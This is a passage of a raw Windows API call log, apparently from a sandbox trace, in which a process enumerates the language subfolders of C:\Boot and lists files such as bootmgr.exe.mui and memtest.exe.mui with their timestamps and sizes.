[0134.749] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.749] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0134.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.871] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0134.871] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af48 [0134.909] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.910] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.910] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.910] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.910] FindClose (in: hFindFile=0x69af48 | out: hFindFile=0x69af48) returned 1 [0134.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.910] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0134.910] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af48 [0135.014] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.014] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.014] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.014] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.014] FindClose (in: hFindFile=0x69af48 | out: hFindFile=0x69af48) returned 1 [0135.016] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.016] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0135.016] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.016] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.016] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.016] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.016] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.017] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.017] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0135.017] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0135.033] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.033] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.034] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.034] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0135.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.034] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0135.034] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0135.034] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0135.035] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.036] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0135.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0135.036] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.036] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.036] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0135.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.037] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0135.037] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b308 [0135.037] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.037] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.037] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.037] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.037] FindClose (in: hFindFile=0x69b308 | out: hFindFile=0x69b308) returned 1 [0135.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.037] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0135.038] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, 